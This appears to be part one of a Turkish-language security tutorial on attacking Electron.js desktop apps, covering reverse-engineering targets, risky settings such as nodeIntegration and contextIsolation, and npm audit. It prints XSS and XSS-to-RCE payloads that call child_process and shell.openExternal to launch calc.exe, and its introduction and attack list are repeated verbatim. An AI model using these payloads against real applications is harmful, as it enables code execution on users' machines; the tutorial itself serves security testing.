Electron.js nedir?
Electron.js, web geliştiricilerinin bildikleri teknolojileri kullanarak hızlı bir şekilde masaüstü uygulamaları oluşturmalarını sağlar. Bu, web uygulamalarını, masaüstü uygulamalarına dönüştürmek için tekrar kod yazma gereksinimini azaltır. Ayrıca, Electron'un sağladığı API'ler sayesinde, sistem kaynaklarına erişme, dosya işlemleri yapma, yerel bildirimler gönderme gibi masaüstü uygulamalarında gereken özellikleri kullanmak mümkündür.
Electron.js saldırı vektörleri:
1)Electron Binarylerinin Tersine mühendislik yoluyla analizi : .asar .exe .dmg
(bundan sonra binaryleri decompile ve debug yapabiliriz)
2)Electron konfigürasyon: package.json webPreference analizi
3)Kaynak kod analizi nodeIntegration ve dependencies
Electron main & renderer processleri:
Electron.js, web geliştiricilerinin bildikleri teknolojileri kullanarak hızlı bir şekilde masaüstü uygulamaları oluşturmalarını sağlar. Bu, web uygulamalarını, masaüstü uygulamalarına dönüştürmek için tekrar kod yazma gereksinimini azaltır. Ayrıca, Electron'un sağladığı API'ler sayesinde, sistem kaynaklarına erişme, dosya işlemleri yapma, yerel bildirimler gönderme gibi masaüstü uygulamalarında gereken özellikleri kullanmak mümkündür.
Electron.js saldırı vektörleri:
1)Electron Binarylerinin Tersine mühendislik yoluyla analizi : .asar .exe .dmg
(bundan sonra binaryleri decompile ve debug yapabiliriz)
2)Electron konfigürasyon: package.json webPreference analizi
3)Kaynak kod analizi nodeIntegration ve dependencies
Electron main & renderer processleri:
- Ana Süreç (Main Process): Electron uygulamasının kontrolünü sağlayan ve arka planda çalışan süreç. Pencere oluşturma, sistem kaynaklarına erişim gibi işlemleri gerçekleştirir. Ayrıca, ana süreç IPC aracılığıyla röle süreçleriyle iletişim kurar.
- Röle Süreçleri (Renderer Process): Web sayfalarını veya HTML içeriğini görüntüleyen süreçler. Kullanıcı arayüzünü temsil ederler ve ana süreçle IPC yoluyla iletişim kurarak işlemleri gerçekleştirirler.
Temel audit :
Sadece npm audit kullanarak bilinen zafiyyetli depenciesleri tespit ede bilirsiniz.
============================================================================================================================================================================
Konfigurasyon analizi:

NodeIntegration'ın etkin olması, Electron uygulamanızın güvenliğini riske atabilir. Node.js API'lerine DOM erişim sağlamaktayız (Saldırgan XSS üzerinden node js api kullanarak bunu RCE çevire bilir.)
contextIsolation : true
false olduğu halde mesela xss gibi vulnlar preload scripte etki eder çünki isolation olmadığı halde electron api ile aynı kontekstde çalışır
basit XSS :
<img src=x onerror=alert(1) />

RCE: XSS + nodeIntegration:
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">
<a onmouseover="try{ const {shell} = require('electron'); shell.openExternal('file:C:/Windows/System32/calc.exe') }catch(e){alert(e)}">Link</a>
<script>
require('child_process').exec('calc');
</script>

PART 1 SONU..
Bu içeriği görmek için giriş yapın.